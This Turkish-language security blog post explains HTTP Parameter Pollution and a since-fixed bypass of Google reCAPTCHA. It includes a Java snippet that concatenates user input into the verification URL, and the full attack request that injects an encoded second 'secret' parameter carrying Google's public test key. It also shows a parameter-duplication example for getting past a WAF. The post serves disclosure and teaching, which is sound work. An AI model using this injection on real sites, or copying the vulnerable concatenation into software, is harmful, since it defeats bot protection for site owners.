Kirlenmemek Güzeldir: HTTP Parameter Pollution ve reCAPTCHA By-Pass

Invicti Security Team - 04 Haziran 2018 -

HTTP Parameter Pollution bir kaynağa aynı isimle yollanan parametrelerin farklı uygulama katmanlarında, farklı şekillerde yorumlanması ile ortaya çıkan bir zafiyet türüdür. Bu zafiyet ile Google ecaptcha sistemi bakın nasıl bypass edilmiş.

Kirlenmemek Güzeldir: HTTP Parameter Pollution ve reCAPTCHA By-Pass

HTTP Parameter Pollution (HPP) özetle bir kaynağa aynı isimle yollanan parametrelerin farklı uygulama katmanlarında, farklı şekillerde yorumlanması ile ortaya çıkan bir zafiyet türüdür.

www.example.com?q=Normal%20Text&q=ATTACK

Yukarıdaki örnekte görüldüğü gibi q isimli parametre bir query string parametresi olarak, URL üzerinden iki defa set edilerek gönderilmiştir. İlkinde normal bir metin, ikincisinde de atak payload'u parametreye atanmıştır.

Böylesi bir durumda şayet arada bulunan bir WAF (Web Application Firewall), parametrenin ilk tekrarını kontrol edip, diğerini ignore ediyorsa, zararsız yani normal metin bu kontrolden geçecektir. İsteğin kendisine yönlendirildiği web sunucusu da böylesi bir durumda parametrenin ilk tekrarını değil de, zararlı payload içeren ikinci tekrarını dikkate alıyorsa, WAF geçilip, hedef sisteme atak payload'u teslim edilmiş olacak.

Uygulamaların böylesi durumlarda farklılılar arz etmesi, tekrarlanan parametre gönderimlerinin işleyişine dair spesifikasyonların kati bir kural içermemesinden kaynaklanıyor.

OWASP Testing Guide'a göre, farklı uygulamalar, aşağıdaki farklı davranışlarla parametre tekrarlarını yönetmektedirler:

http://example.com/?color=red&color=blue örneğinden hareketle:

IIS sunucusu, bu iki değeri birbirine birleştirerek, color değişkeni için red, blue değerini kabul edecektir.

Apache ise, sadece son tekrarı dikkate almakta ve color değişkeninin değerini blue olarak kabul etmektedir.

Haftanın Hackleri'nde bugün işleyeceğimiz konu HTTP Parameter Pollution vasıtası ile reCAPTCHA mekanizmasının nasıl by-pass edildiği.

Araştırmacı Andès Riancho. Zafiyeti geçtiğimiz Ocak ayında raporladığını belirtiyor. Zafiyet fixi Google recaptcha API'sinin endpoint'inde gerçekleştiği için, kullanıcıların haricen bir aksiyon alması gerekmiyor.

Şimdi ayrıntılara birlikte bakalım.

reCAPTCHA, geliştiricilere web sitelerine kolaylıkla captcha hizmeti eklemelerini sağlayan bir Google servisi.

HTTP Parameter Pollution ve reCAPTCHA By-Pa

Web siteleri kullanıcıyı doğrulamak istediklerinde bunu Google tarafından servis edilen yukarıdaki gibi bir şekil yordamıyla yaparlar. Servis kullanıcıya bir nesne sorar, bir ya da birden fazla iligli resmi seçerek kendisini doğrulamasını bekler.

Kullanıcı Verify butonuna bastığında aşağıdaki gibi bir istek gerçekleşir:

POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com

recaptcha-response={reCAPTCHA-generated-hash}

Web uygulaması bunu Google reCAPTCHA endpoint’ine bağlanarak doğrular:

POST /recaptcha/api/siteverify HTTP/1.1
Content-Length: 458
Host: www.google.com
Content-Type: application/x-www-form-urlencoded

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

Uygulama bu istekte {application-secret} ile uygulamaya kendisi tanıtmakta (authentication). Şayet captcha doğru bir biçimde çözüldü ise, aşağıdaki yanıt Google tarafından gönderilmektedir:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 90

{
  "success": true,
  "challenge_ts": "2018-01-29T17:58:36Z",
  "hostname": "..."
}

HTTP Parameter Pollution bunun neresinde?

Web uygulamasında, verify-recaptcha-response endpoint'inde isteği karşılayan kod muhtemelen şöyle:

private String sendPost(String CaptchaResponse, String Secret) throws Exception {

	String url = "https://www.google.com/recaptcha/api/siteverify"+"?response="+CaptchaResponse+"&secret="+Secret;
	URL obj = new URL(url);
	HttpsURLConnection con = (HttpsURLConnection) obj.openConnection();

String tipindeki url değişkeni oluşturulurken, kullanıcı tarafından gönderilen parametrelerin birleştirildiğini (concatenation) görüyoruz.

Google tarafına bakacak olursak, aşağıdaki iki istekle aynı yanıtın alındığını görüyoruz:

HTTP İstek 1

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}

HTTP İstek 2

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
...

recaptcha-response={reCAPTCHA-generated-hash}&secret={application-secret}&secret={another-secret-application-secret}

secret parametresinin ikinci istekte iki kez gönderildiği dikkatinizi çekmiş olmalı.

Google reCAPTCHA servisi tekrarlanan parametrelerde ilkini dikkate alıp, ikinci değeri ignore ediyor.

Şimdi satranç tahtasında son hamleyi yapıp, şah-mat çekmeye sıra geldi.

Uygulamaları özellikle de otomatize bir araçla test etmek isterseniz, reCAPTCHA gibi production ortamlarında ihtiyaç duyacağınız bir mekanizmanın size ayak bağı olmasını istemezsiniz. Bunun iki yolu vardır. Ya fonksiyonu test esnasında kod içerisinden devre dışı bırakmak, yahut öntanımlı bir değer ile, bu değeri içeren isteklerin captcha mekanizmasından azade olmasını sağlamak. En akla yatkını ikinci seçenek olarak beliriyor.

Google'da geliştiricilerin bu ihtiyaçlarından hareketle reCAPTCHA mekanizmasını bypass için hard-coded olarak şu anahtarların kullanılmasını önermektedir:

  • Site key: 6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI
  • Secret key: 6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

Bu bilgi ışığında HPP zafiyetine tekrar dönelim:

Saldırgan aşağıdaki gibi bir istek yapıyor:

POST /verify-recaptcha-response HTTP/1.1
Host: vulnerable-app.com

recaptcha-response=anything%26secret%3d6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe

%26 bildiğiniz gibi & (ampersand) karakterininin HTML encoded hali. %3d de = (eşittir) işaretinin HTML encode hali. 6LeIxAcT ile başlayan değer ise yukarıda sözünü ettiğimiz Google tarafından reCAPTCHA bypass'ı için bildirilen değer.

Dolayısıyla Google istek yapmadan önce bu değerler HTML decode işleminden geçirileceği için, Google 'a web sitesi tarafından yapılacak istek aşağıdaki gibi olacak:

POST /recaptcha/api/siteverify HTTP/1.1
Host: www.google.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Python-urllib/2.7

recaptcha-response=anything&secret=6LeIxAcTAAAAAGG-vFI1TnRWxMZNFuojJ4WifJWe&secret=6LeYIbsSAAAAAJezaIq3Ft_hSTo0YtyeFG-JgRtu

Görüldüğü üzere yukarıdaki istekte iki adet secret parametresi var. İlki öntanımlı olan reCAPTCHA bypass değerini içeriyor. Diğeri de siteye ait olan değer. Bilin bakalım ne oluyor? Google ilk parametre değerini kabul ediyor, ikincisini ignore ediyor.

500 Dolar ile ödüllendirilen zafiyet, araştırmacıya göre reCAPTCHA kullanan sitelerden sadece yüzde 5 ile 10'unu etkiledi. Neden mi? Çünkü Google reCAPTCHA dökümantasyonunda aşağıdaki gibi bir örnek kullandığı ve geliştiricilerin çoğu bu örneği uygulamalarına doğrudan aşağıdaki şekilde ekledikleri için:

secret=…&response=…

Burada response'a enjekte edilen ikinci secret değeri, secret parametresinin ikinci tekrarı olacağı için bu implementasyonda saldırgan kontrolündeki secret parametresi ignore edilecek.

Araştırmanın ayrıntılarına ulaşmak için lütfen tıklayınız.